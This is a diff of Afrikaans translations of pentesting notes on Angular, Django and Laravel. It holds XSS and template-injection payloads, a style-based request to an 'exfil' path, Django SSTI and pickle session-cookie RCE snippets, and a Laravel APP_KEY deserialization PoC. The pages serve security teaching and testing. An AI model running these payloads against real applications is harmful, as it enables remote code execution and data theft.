 ## Sourcemap konfigurasie

-Die Angular-raamwerk vertaal TypeScript-lêers in JavaScript-kode deur die `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json` lêer, het ons 'n opsie opgemerk om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer geaktiveer vir skrifte en is dit nie standaard versteek nie:
+Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json` lêer, het ons 'n opsie opgemerk om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer wat vir skrifte geaktiveer is en nie standaard versteek is nie:
 ```json
 "sourceMap": {
 "scripts": true,
@ -60,30 +60,30 @@ Die Angular-raamwerk vertaal TypeScript-lêers in JavaScript-kode deur die `tsco
 "hidden": false
 }
 ```
-Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalisering deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig ontleed deur te soek na anti-sekuriteitspatrone.
+Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalise deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig analiseer deur te soek na anti-sekuriteitspatrone.

-Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaierontwikkelaar gereedskap → Bronne (of Foutopsporing en Bronne) → \[id].main.js gevind word. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie wees nie, as die **hidden** opsie op **true** gestel is. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Daarbenewens kan sourcemap tydens projekbou geaktiveer word soos `ng build --source-map`.
+Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaier ontwikkelaar gereedskap → Bronne (of Foutopsporing en Bronne) → \[id].main.js gevind word. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie wees nie, as die **hidden** opsie op **true** gestel is. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Daarbenewens kan sourcemap tydens projekbou geaktiveer word soos `ng build --source-map`.

 ## Data binding

-Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenstemmende weergawe. Dit word gebruik om data na en van die Angular-raamwerk oor te dra. Data kan deur verskeie middele oorgedra word, soos deur gebeurtenisse, interpolasie, eienskappe, of deur die twee-rigting binding meganisme. Boonop kan data ook tussen verwante komponente (ouer-kind verhouding) en tussen twee nie-verwante komponente gedeel word deur die Diens-funksie.
+Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenstemmende weergawe. Dit word gebruik om data na en van die Angular-raamwerk oor te dra. Data kan deur verskeie middele oorgedra word, soos deur gebeurtenisse, interpolasie, eienskappe, of deur die twee-rigting binding meganisme. Boonop kan data ook tussen verwante komponente (ouer-kind verhouding) en tussen twee nie-verwante komponente met behulp van die Diens-funksie gedeel word.

 Ons kan binding klassifiseer volgens datastroom:

-* Data bron na weergawe teiken (sluit _interpolasie_, _eienskappe_, _attribuut_, _klasse_ en _style_ in); kan toegepas word deur `[]` of `{{}}` in die sjabloon te gebruik;
-* Weergawe teiken na data bron (sluit _gebeurtenisse_ in); kan toegepas word deur `()` in die sjabloon te gebruik;
+* Datasoort na weergawe teiken (sluit _interpolasie_, _eienskappe_, _attribuute_, _klasse_ en _style_ in); kan toegepas word deur `[]` of `{{}}` in die sjabloon te gebruik;
+* Weergawe teiken na datasoort (sluit _gebeurtenisse_ in); kan toegepas word deur `()` in die sjabloon te gebruik;
 * Twee-rigting; kan toegepas word deur `[()]` in die sjabloon te gebruik.

-Binding kan op eienskappe, gebeurtenisse, en attribuut, sowel as op enige openbare lid van 'n bronrigting genoem word:
+Binding kan op eienskappe, gebeurtenisse en attribuute, sowel as op enige openbare lid van 'n bronrigting genoem word:

 | TYPE      | TEIKEN                                                   | VOORBEELDE                                                          |
-| --------- | -------------------------------------------------------- | ------------------------------------------------------------------- |
-| Eiendom   | Element eiendom, Komponent eiendom, Rigting eiendom     | \<img \[alt]="hero.name" \[src]="heroImageUrl">                     |
-| Gebeurtenis| Element gebeurtenis, Komponent gebeurtenis, Rigting gebeurtenis | \<button type="button" (click)="onSave()">Save                      |
-| Twee-rigting| Gebeurtenis en eiendom                                 | \<input \[(ngModel)]="name">                                        |
-| Attribuut | Attribuut (die uitsondering)                            | \<button type="button" \[attr.aria-label]="help">help               |
-| Klas      | klas eiendom                                            | \<div \[class.special]="isSpecial">Special                          |
-| Styl      | styl eiendom                                            | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
+| --------- | -------------------------------------------------------- | ------------------------------------------------------------------ |
+| Eiendom   | Element eiendom, Komponent eiendom, Rigting eiendom     | \<img \[alt]="hero.name" \[src]="heroImageUrl">                   |
+| Gebeurtenis| Element gebeurtenis, Komponent gebeurtenis, Rigting gebeurtenis | \<button type="button" (click)="onSave()">Save                    |
+| Twee-rigting| Gebeurtenis en eiendom                                 | \<input \[(ngModel)]="name">                                      |
+| Attribuut | Attribuut (die uitsondering)                            | \<button type="button" \[attr.aria-label]="help">help             |
+| Klas      | klas eiendom                                             | \<div \[class.special]="isSpecial">Special                        |
+| Styl      | styl eiendom                                             | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |

 ## Angular sekuriteitsmodel

@ -100,7 +100,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
 ```

 Resultaat: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
-2.  Binding aan eienskappe, attribuut, klasse en style of `[attribute]="user_input"` - voer sanitisering uit gebaseer op die verskafde sekuriteitskonteks.
+2.  Binding aan eienskappe, attribuute, klasse en style of `[attribute]="user_input"` - voer sanitisering uit gebaseer op die verskafde sekuriteitskonteks.

 ```jsx
 //app.component.ts
@ -116,7 +116,7 @@ Daar is 6 tipes `SecurityContext` :

 * `None`;
 * `HTML` word gebruik, wanneer waarde as HTML geïnterpreteer word;
-* `STYLE` word gebruik, wanneer CSS aan die `style` eiendom gebind word;
+* `STYLE` word gebruik, wanneer CSS in die `style` eiendom gebind word;
 * `URL` word gebruik vir URL eiendomme, soos `<a href>`;
 * `SCRIPT` word gebruik vir JavaScript kode;
 * `RESOURCE_URL` as 'n URL wat as kode gelaai en uitgevoer word, byvoorbeeld, in `<script src>`.
@ -125,7 +125,7 @@ Daar is 6 tipes `SecurityContext` :

 ### Bypass Security Trust metodes

-Die Angular stel 'n lys met metodes bekend om sy standaard sanitisering proses te omseil en aan te dui dat 'n waarde veilig in 'n spesifieke konteks gebruik kan word, soos in die volgende vyf voorbeelde:
+Die Angular stel 'n lys met metodes bekend om sy standaard sanitisering proses te omseil en om aan te dui dat 'n waarde veilig in 'n spesifieke konteks gebruik kan word, soos in die volgende vyf voorbeelde:

 1.  `bypassSecurityTrustUrl` word gebruik om aan te dui dat die gegewe waarde 'n veilige styl URL is:

@ -164,7 +164,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg
 <h1>html tag</h1>
 <svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
 ```
-4.  `bypassSecurityTrustScript` word gebruik om aan te dui dat die gegewe waarde veilige JavaScript is. Ons het egter gevind dat die gedrag daarvan onvoorspelbaar is, omdat ons nie JS-kode in sjablone kon uitvoer nie met behulp van hierdie metode.
+4.  `bypassSecurityTrustScript` word gebruik om aan te dui dat die gegewe waarde veilige JavaScript is. Ons het egter gevind dat die gedrag onvoorspelbaar is, omdat ons nie JS-kode in sjablone met hierdie metode kon uitvoer nie.

 ```jsx
 //app.component.ts
@ -189,11 +189,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
 Request URL: GET example.com/exfil/a
 ```

-Angular bied 'n `sanitize` metode aan om data te sanitisere voordat dit in weergawes vertoon word. Hierdie metode gebruik die sekuriteitskonteks wat verskaf word en reinig die invoer dienooreenkomstig. Dit is egter van kardinale belang om die korrekte sekuriteitskonteks vir die spesifieke data en konteks te gebruik. Byvoorbeeld, om 'n sanitisateur met `SecurityContext.URL` op HTML-inhoud toe te pas, bied nie beskerming teen gevaarlike HTML-waardes nie. In sulke scenario's kan die misbruik van sekuriteitskonteks lei tot XSS kwesbaarhede.
+Angular bied 'n `sanitize` metode aan om data te sanitisere voordat dit in weergawes vertoon word. Hierdie metode gebruik die sekuriteitskonteks wat verskaf word en reinig die invoer dienooreenkomstig. Dit is egter van kardinale belang om die korrekte sekuriteitskonteks vir die spesifieke data en konteks te gebruik. Byvoorbeeld, om 'n sanitisateur met `SecurityContext.URL` op HTML-inhoud toe te pas, bied nie beskerming teen gevaarlike HTML-waardes nie. In sulke scenario's kan die misbruik van sekuriteitskonteks lei tot XSS-kwesbaarhede.

 ### HTML inspuiting

-Hierdie kwesbaarheid ontstaan wanneer gebruikersinvoer aan enige van die drie eienskappe gebind word: `innerHTML`, `outerHTML`, of `iframe` `srcdoc`. Terwyl binding aan hierdie attribuut HTML interpreteer soos dit is, word die invoer gesanitisereer met behulp van `SecurityContext.HTML`. Dus, HTML-inspuiting is moontlik, maar kruis-web scripting (XSS) is nie. 
+Hierdie kwesbaarheid ontstaan wanneer gebruikersinvoer aan enige van die drie eienskappe gebind word: `innerHTML`, `outerHTML`, of `iframe` `srcdoc`. Terwyl binding aan hierdie attribuute HTML interpreteer soos dit is, word die invoer gesanitisereer met behulp van `SecurityContext.HTML`. Dus, HTML-inspuiting is moontlik, maar kruis-web scripting (XSS) is nie. 

 Voorbeeld van die gebruik van `innerHTML`:
 ```jsx
@ -212,15 +212,15 @@ test = "<script>alert(1)</script><h1>test</h1>";
 //app.component.html
 <div [innerHTML]="test"></div>
 ```
-<div><h1>toets</h1></div>
+<div><h1>test</h1></div>

-### Sjabloon inspuiting
+### Template-inspuiting

 #### Kliënt-kant Rendering (CSR)

 Angular benut sjablone om bladsye dinamies te konstrueer. Die benadering behels die insluiting van sjabloonuitdrukkings wat Angular moet evalueer binne dubbele haakies (`{{}}`). Op hierdie manier bied die raamwerk bykomende funksionaliteit. Byvoorbeeld, 'n sjabloon soos `{{1+1}}` sou as 2 vertoon.

-Tipies, ontsnap Angular gebruikersinvoer wat verwar kan word met sjabloonuitdrukkings (bv. karakters soos \`< > ' " \`\`). Dit beteken dat bykomende stappe nodig is om hierdie beperking te omseil, soos om funksies te gebruik wat JavaScript-stringobjekte genereer om te verhoed dat geblacklisted karakters gebruik word. Om dit te bereik, moet ons egter die Angular-konteks, sy eienskappe en veranderlikes oorweeg. Daarom kan 'n sjabloon inspuitingsaanval soos volg voorkom:
+Tipies, Angular ontsnap gebruikersinvoer wat verwar kan word met sjabloonuitdrukkings (bv. karakters soos \`< > ' " \`\`). Dit beteken dat bykomende stappe nodig is om hierdie beperking te omseil, soos om funksies te gebruik wat JavaScript-stringobjekte genereer om te verhoed dat geblacklisted karakters gebruik word. Om dit te bereik, moet ons egter die Angular-konteks, sy eienskappe en veranderlikes oorweeg. Daarom kan 'n sjabloon-inspuitingaanval soos volg voorkom:
 ```jsx
 //app.component.ts
 const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -229,7 +229,7 @@ selector: 'app-root',
 template: '<h1>title</h1>' + _userInput
 })
 ```
-Soos hierbo getoon, verwys `constructor` na die omvang van die Object `constructor` eiendom, wat ons in staat stel om die String constructor aan te roep en 'n arbitrêre kode uit te voer.
+Soos hierbo getoon: `constructor` verwys na die omvang van die Object `constructor` eiendom, wat ons in staat stel om die String constructor aan te roep en 'n arbitrêre kode uit te voer.

 #### Server-Side Rendering (SSR)

@ -377,9 +377,9 @@ Tydens ons navorsing het ons ook die gedrag van ander `Renderer2` metodes, soos

 #### jQuery

-jQuery is 'n vinnige, klein, en kenmerkryke JavaScript-biblioteek wat in die Angular-projek gebruik kan word om te help met die manipulasie van die HTML DOM-objekte. Soos bekend, kan hierdie biblioteek se metodes egter uitgebuit word om 'n XSS-kwesbaarheid te bereik. Om te bespreek hoe sommige kwesbare jQuery-metodes in Angular-projekte uitgebuit kan word, het ons hierdie subafdeling bygevoeg.
+jQuery is 'n vinnige, klein, en kenmerkryke JavaScript-biblioteek wat in die Angular-projek gebruik kan word om te help met die manipulasie van die HTML DOM-objekte. Soos bekend, kan die metodes van hierdie biblioteek egter uitgebuit word om 'n XSS-kwesbaarheid te bereik. Om te bespreek hoe sommige kwesbare jQuery-metodes in Angular-projekte uitgebuit kan word, het ons hierdie subafdeling bygevoeg.

-*   Die `html()` metode kry die HTML-inhoud van die eerste element in die stel van ooreenstemmende elemente of stel die HTML-inhoud van elke ooreenstemmende element. Deur ontwerp kan enige jQuery-konstruksie of metode wat 'n HTML-string aanvaar, potensieel kode uitvoer. Dit kan gebeur deur die inspuiting van `<script>`-tags of die gebruik van HTML-eienskappe wat kode uitvoer, soos in die voorbeeld getoon.
+*   Die `html()` metode kry die HTML-inhoud van die eerste element in die stel van ooreenstemmende elemente of stel die HTML-inhoud van elke ooreenstemmende element. Volgens ontwerp kan enige jQuery-konstruksie of metode wat 'n HTML-string aanvaar, potensieel kode uitvoer. Dit kan gebeur deur die inspuiting van `<script>`-tags of die gebruik van HTML-eienskappe wat kode uitvoer, soos in die voorbeeld getoon.

 ```tsx
 //app.component.ts
@ -467,7 +467,7 @@ window.location.href = "https://google.com/about"
 <button type="button" (click)="goToUrl()">Click me!</button>
 ```

-Die uitbuitingsproses is identies vir die volgende scenario's.
+Die eksploitasiestap is identies vir die volgende scenario's.
 *   `window.location.assign()`(en `document.location.assign()`)

 Hierdie metode laat die venster toe om die dokument by die gespesifiseerde URL te laai en weer te gee. As ons beheer oor hierdie metode het, kan dit 'n sink vir 'n open redirect aanval wees.
@ -485,7 +485,7 @@ window.location.assign("https://google.com/about")

 Hierdie metode vervang die huidige hulpbron met die een by die gegewe URL.

-Dit verskil van die `assign()` metode omdat die huidige bladsy nie in sessiegeskiedenis gestoor sal word nie nadat `window.location.replace()` gebruik is. Dit is egter ook moontlik om 'n open redirect kwesbaarheid te benut wanneer ons beheer oor hierdie metode het.
+Dit verskil van die `assign()` metode omdat die huidige bladsy nie in sessiegeskiedenis gestoor sal word nie na die gebruik van `window.location.replace()`. Dit is egter ook moontlik om 'n open redirect kwesbaarheid te benut wanneer ons beheer oor hierdie metode het.

 ```tsx
 //app.component.ts
@ -535,7 +535,7 @@ this.document.location.href = 'https://google.com/about';
 //app.component.html
 <button type="button" (click)="goToUrl()">Click me!</button>
 ```
-*   Tydens die navorsingsfase het ons ook die Angular `Location` klas vir open redirect kwesbaarhede hersien, maar geen geldige vektore is gevind nie. `Location` is 'n Angular diens wat toepassings kan gebruik om met 'n blaaiers huidige URL te kommunikeer. Hierdie diens het verskeie metodes om die gegewe URL te manipuleer - `go()`, `replaceState()`, en `prepareExternalUrl()`. Ons kan egter nie hulle gebruik vir herleiding na die eksterne domein nie. Byvoorbeeld:
+*   Tydens die navorsingsfase het ons ook die Angular `Location` klas vir open redirect kwesbaarhede hersien, maar geen geldige vektore is gevind nie. `Location` is 'n Angular-diens wat toepassings kan gebruik om met 'n blaaiers huidige URL te kommunikeer. Hierdie diens het verskeie metodes om die gegewe URL te manipuleer - `go()`, `replaceState()`, en `prepareExternalUrl()`. Ons kan egter nie hulle gebruik vir herleiding na die eksterne domein nie. Byvoorbeeld:

 ```tsx
 //app.component.ts
@ -606,4 +606,4 @@ this.router.navigateByUrl('URL')



-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@ -1,29 +1,29 @@
 # Django

-{{#include /src/banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

-## Cache Manipulation to RCE
-Django se standaard cache stoor metode is [Python pickles](https://docs.python.org/3/library/pickle.html), wat kan lei tot RCE as [onbetroubare invoer onpickled word](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **As 'n aanvaller skrywe toegang tot die cache kan verkry, kan hulle hierdie kwesbaarheid na RCE op die onderliggende bediener eskaleer**.
+## Cache Manipulasie na RCE
+Django se standaard cache stoor metode is [Python pickles](https://docs.python.org/3/library/pickle.html), wat kan lei tot RCE as [onbetroubare invoer ontpikkel word](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **As 'n aanvaller skrywe toegang tot die cache kan verkry, kan hulle hierdie kwesbaarheid na RCE op die onderliggende bediener eskaleer**.

-Django cache word gestoor in een van vier plekke: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [geheue](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [lêers](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), of 'n [databasis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache wat in 'n Redis bediener of databasis gestoor is, is die mees waarskynlike aanvalsvectors (Redis-inspuiting en SQL-inspuiting), maar 'n aanvaller mag ook in staat wees om lêer-gebaseerde cache te gebruik om 'n arbitrêre skrywe in RCE te omskep. Onderhouers het dit as 'n nie-kwestie gemerk. Dit is belangrik om te noem dat die cache lêer gids, SQL tabelnaam, en Redis bediener besonderhede sal verskil op grond van implementering.
+Django cache word in een van vier plekke gestoor: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [geheue](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [lêers](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), of 'n [databasis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache wat in 'n Redis bediener of databasis gestoor is, is die mees waarskynlike aanvalsvectors (Redis inspuiting en SQL inspuiting), maar 'n aanvaller mag ook in staat wees om lêer-gebaseerde cache te gebruik om 'n arbitrêre skrywe in RCE te omskep. Onderhouers het dit as 'n nie-kwessie gemerk. Dit is belangrik om te noem dat die cache lêer gids, SQL tabelnaam, en Redis bediener besonderhede sal verskil op grond van implementering.

 Hierdie HackerOne verslag bied 'n uitstekende, herhaalbare voorbeeld van die ontginning van Django cache wat in 'n SQLite databasis gestoor is: https://hackerone.com/reports/1415436

 ---

-## Server-Side Template Injection (SSTI)
-Die Django Template Taal (DTL) is **Turing-voltooi**. As gebruiker-gelewer data as 'n *template string* gerender word (byvoorbeeld deur `Template(user_input).render()` aan te roep of wanneer `|safe`/`format_html()` outo-escaping verwyder), kan 'n aanvaller volle SSTI → RCE bereik.
+## Bediener-kant Sjabloon Inspuiting (SSTI)
+Die Django Sjabloon Taal (DTL) is **Turing-voltooi**. As gebruiker-gelewer data as 'n *sjabloon string* gerender word (byvoorbeeld deur `Template(user_input).render()` aan te roep of wanneer `|safe`/`format_html()` outomatiese ontsnapping verwyder), kan 'n aanvaller volle SSTI → RCE bereik.

-### Detection
-1. Soek vir dinamiese oproepe na `Template()` / `Engine.from_string()` / `render_to_string()` wat *enige* ongesanitiseerde versoekdata insluit.
+### Opsporing
+1. Soek na dinamiese oproepe na `Template()` / `Engine.from_string()` / `render_to_string()` wat *enige* ongesuiwerde versoekdata insluit.
 2. Stuur 'n tyd-gebaseerde of aritmetiese payload:
 ```django
 {{7*7}}
 ```
-As die gerenderde uitvoer `49` bevat, word die invoer deur die template engine gecompileer.
+As die gerenderde uitvoer `49` bevat, word die invoer deur die sjabloon enjin gecompileer.

-### Primitive to RCE
-Django blokkeer direkte toegang tot `__import__`, maar die Python objekgrafiek is bereikbaar:
+### Primitive na RCE
+Django blokkeer direkte toegang tot `__import__`, maar die Python objek grafiek is bereikbaar:
 ```django
 {{''.__class__.mro()[1].__subclasses__()}}
 ```
@ -38,7 +38,7 @@ Dieselfde gadget werk vir **Debug Toolbar** of **Django-CMS** sjabloon weergawe
 ---

 ## Pickle-Backed Session Cookie RCE
-As die instelling `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` geaktiveer is (of 'n pasgemaakte serializer wat pickle deserialiseer), dekripteer en unpickles Django die sessie koekie **voor** enige view kode aangeroep word. Daarom is dit genoeg om 'n geldige ondertekeningssleutel (die projek `SECRET_KEY` per standaard) te besit vir onmiddellike afstands kode uitvoering.
+As die instelling `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` geaktiveer is (of 'n pasgemaakte serialiseerder wat pickle deserialiseer), Django *dekripteer en unpickles* die sessie koekie **voor** enige weergawe kode aangeroep word. Daarom is dit genoeg om 'n geldige ondertekeningssleutel (die projek `SECRET_KEY` per standaard) te besit vir onmiddellike afstands kode uitvoering.

 ### Exploit Vereistes
 * Die bediener gebruik `PickleSerializer`.
@ -60,11 +60,11 @@ print(f"sessionid={mal}")
 ```
 Stuur die resulterende koekie, en die payload loop met die toestemmings van die WSGI-werker.

-**Mitigations**: Hou die standaard `JSONSerializer`, draai `SECRET_KEY` om, en konfigureer `SESSION_COOKIE_HTTPONLY`.
+**Mitigaties**: Hou die standaard `JSONSerializer`, draai `SECRET_KEY` om, en konfigureer `SESSION_COOKIE_HTTPONLY`.

 ---

-## Onlangs (2023-2025) Hoë-Impakte Django CVEs Pentesters Moet Nagaan
+## Onlangs (2023-2025) Hoë-Impakte Django CVEs Wat Pentesters Moet Nagaan
 * **CVE-2025-48432** – *Log-inspuiting via ongeëscape `request.path`* (opgelos 4 Junie 2025). Laat aanvallers toe om nuwe reëls/ANSI-kodes in loglêers te smokkel en afgeleide loganalise te vergiftig. Patches vlak ≥ 4.2.22 / 5.1.10 / 5.2.2.
 * **CVE-2024-42005** – *Kritieke SQL-inspuiting* in `QuerySet.values()/values_list()` op `JSONField` (CVSS 9.8). Skep JSON sleutels om uit aanhalingstekens te breek en arbitrêre SQL uit te voer. Opgelos in 4.2.15 / 5.0.8.

@ -76,4 +76,4 @@ Fingerprint altyd die presiese raamwerk weergawe via die `X-Frame-Options` foutb
 * Django sekuriteitsvrystelling – "Django 5.2.2, 5.1.10, 4.2.22 adresseer CVE-2025-48432" – 4 Junie 2025.
 * OP-Innovate: "Django vrystellings sekuriteitsopdaterings om SQL-inspuitingsfout CVE-2024-42005 aan te spreek" – 11 Augustus 2024.

-{{#include /src/banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/laravel.md
+++ b/src/network-services-pentesting/pentesting-web/laravel.md
@ -1,6 +1,6 @@
 # Laravel

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ### Laravel SQLInjection

@ -20,16 +20,16 @@ Die rou koderings teks wat uiteindelik **na die kliënt gestuur** word, is **Bas
 "tag"  : ""                 // only used for AEAD ciphers (GCM)
 }
 ```
-`encrypt($value, $serialize=true)` sal standaard die `serialize()` die platte teks, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**.
+`encrypt($value, $serialize=true)` sal standaard die plaintext `serialize()`, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**.

-Minimale PoC (raamwerk ≥9.x):
+Minimal PoC (framework ≥9.x):
 ```php
 use Illuminate\Support\Facades\Crypt;

 $chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
 $evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
 ```
-Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete parameter, koekie, sessie, …).
+Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete param, koekie, sessie, …).

 ---

@ -67,15 +67,15 @@ Die uitbuiting werkvloei is altyd:

 ## Massiewe APP_KEY ontdekking via koekie brute-force

-Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **lek openbare internet skandeerders (Shodan, Censys, …) miljoene teksblokke** wat offline aangeval kan word.
+Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **lek openbare internet skandeerders (Shodan, Censys, …) miljoene ciphertexts** wat offline aangeval kan word.

 Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):
 * Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gebroke** (≈23 k)
 * Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gebroke**
-* >1 000 bedieners steeds kwesbaar vir erflike CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
-* Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone (UltimatePOS, Invoice Ninja, XPanel, …) gestuur word.
+* >1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
+* Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gekodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).

-Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat volle dataset kraking tot <2 minute verminder.
+Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volle dataset krak tot <2 minute verminder.

 ---

@ -85,9 +85,6 @@ Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1
 * [PHPGGC – PHP Generiese Gadget Kettings](https://github.com/ambionics/phpggc)
 * [CVE-2018-15133 skrywe (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)

-{{#include ../../banners/hacktricks-training.md}}
-
-
 ## Laravel Tricks

 ### Foutopsporing modus
@ -101,9 +98,9 @@ Dit is gewoonlik nodig vir die uitbuiting van ander Laravel RCE CVE's.

 ### .env

-Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd `.env` wat toegang verkry kan word deur 'n paar pad traversie onder: `/../.env`
+Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd `.env` wat toegang kan verkry word deur 'n paar pad traversie onder: `/../.env`

-Laravel sal ook hierdie inligting binne die foutopsporing bladsy toon (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).
+Laravel sal ook hierdie inligting binne die foutopsporing bladsy wys (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).

 Met die geheime APP_KEY van Laravel kan jy koekies ontsleutel en weer versleutel:

@ -172,8 +169,8 @@ Kwetsbare weergawes: 5.5.40 en 5.6.x deur 5.6.29 ([https://www.cvedetails.com/cv

 Hier kan jy inligting oor die deserialisering kwesbaarheid vind: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

-Jy kan dit toets en ontgin met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
-Of jy kan dit ook ontgin met metasploit: `use unix/http/laravel_token_unserialize_exec`
+Jy kan dit toets en benut met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
+Of jy kan dit ook benut met metasploit: `use unix/http/laravel_token_unserialize_exec`

 ### CVE-2021-3129

@ -190,7 +187,7 @@ Lees inligting oor dit hier: [https://stitcher.io/blog/unsafe-sql-functions-in-l

 ---

-## APP_KEY & Encryptie interne (Laravel \u003e=5.6)
+## APP_KEY & Encryption internals (Laravel \u003e=5.6)

 Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (`Illuminate\\Encryption\\Encrypter`).
 Die rou ciphertext wat uiteindelik **na die kliënt gestuur** word, is **Base64 van 'n JSON objek** soos:
@ -202,16 +199,16 @@ Die rou ciphertext wat uiteindelik **na die kliënt gestuur** word, is **Base64
 "tag"  : ""                 // only used for AEAD ciphers (GCM)
 }
 ```
